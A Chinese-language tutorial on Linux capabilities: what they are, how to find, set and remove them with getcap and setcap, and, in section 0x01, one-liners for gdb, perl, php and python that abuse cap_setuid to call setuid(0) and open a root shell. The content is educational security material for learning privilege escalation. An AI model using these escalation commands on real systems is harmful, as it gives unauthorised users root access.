0x00 Capabilities入門

什麼是Capabilities

Linux的Root使用者擁有最高的許可權，可以對幾乎系統中的任何檔案進行操作。然而普通使用者如何操作一些高許可權的檔案？
在Linux中存在兩種方法：
第一種是在執行的命令前加上sudo，這樣就會以Root的身份進行操作。
第二種方法是設定SUID或SGID，這樣雖然會以原使用者的身份進行操作，但是獲得了操作許可權。

SUID和SGID存在安全隱患，因為某檔案設定了之後普通使用者將會獲得廣範圍的操作許可權。
為了避免這種安全隱患，Linux核心 2.2 之後引入了Capabilities機制。什麼是Capabilities機制哪？

原理很簡單，就是將之前與超級使用者 root（UID=0）關聯的特權細分為不同的功能組，Capabilites 作為執行緒（Linux 並不真正區分程序和執行緒）的屬性存在，每個功能組都可以獨立啟用和禁用。其本質上就是將核心呼叫分門別類，具有相似功能的核心呼叫被分到同一組中。
這樣一來，許可權檢查的過程就變成了：在執行特權操作時，如果執行緒的有效身份不是 root，就去檢查其是否具有該特權操作所對應的 capabilities，並以此為依據，決定是否可以執行特權操作。

細分後的特權：

Capabilities使用

查詢

getcap [路徑]

## 查詢全部
getcap -r / 2>/dev/null # -r 遞迴查詢   2>/dev/null 錯誤資訊從定向到null

設定

## 多個Capabilities以分號劃分
setcap [Capabilities名稱]=eip  [路徑]
## 設定多個案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
設定時路徑要指定原始檔，不可以是連結檔案，如果報錯可以檢視是不是路徑指定的為連結檔案

刪除

setcap -r [路徑]

0x01 提權例項

setuid

通過setuid可以將程序執行使用者設定為root，以達到獲取root許可權效果

gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
## -ex 執行命令
## gdb呼叫python debug除錯；在shell中啟動python的命令為python2，在gdb中也為python
## -nx 不初始化指令碼

• 無
  

• 有
  

perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

• 無
  

• 有
  

php

php -r "posix_setuid(0); system('/bin/sh');"

出現如下時

需要安裝php-posix

yum install php-posix
## centos中命令

• 無
  
• 有
  

python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

• 無
  
• 有
  

參考

https://www.freebuf.com/articles/system/251182.html

https://blog.csdn.net/alex_yangchuansheng/article/details/102796001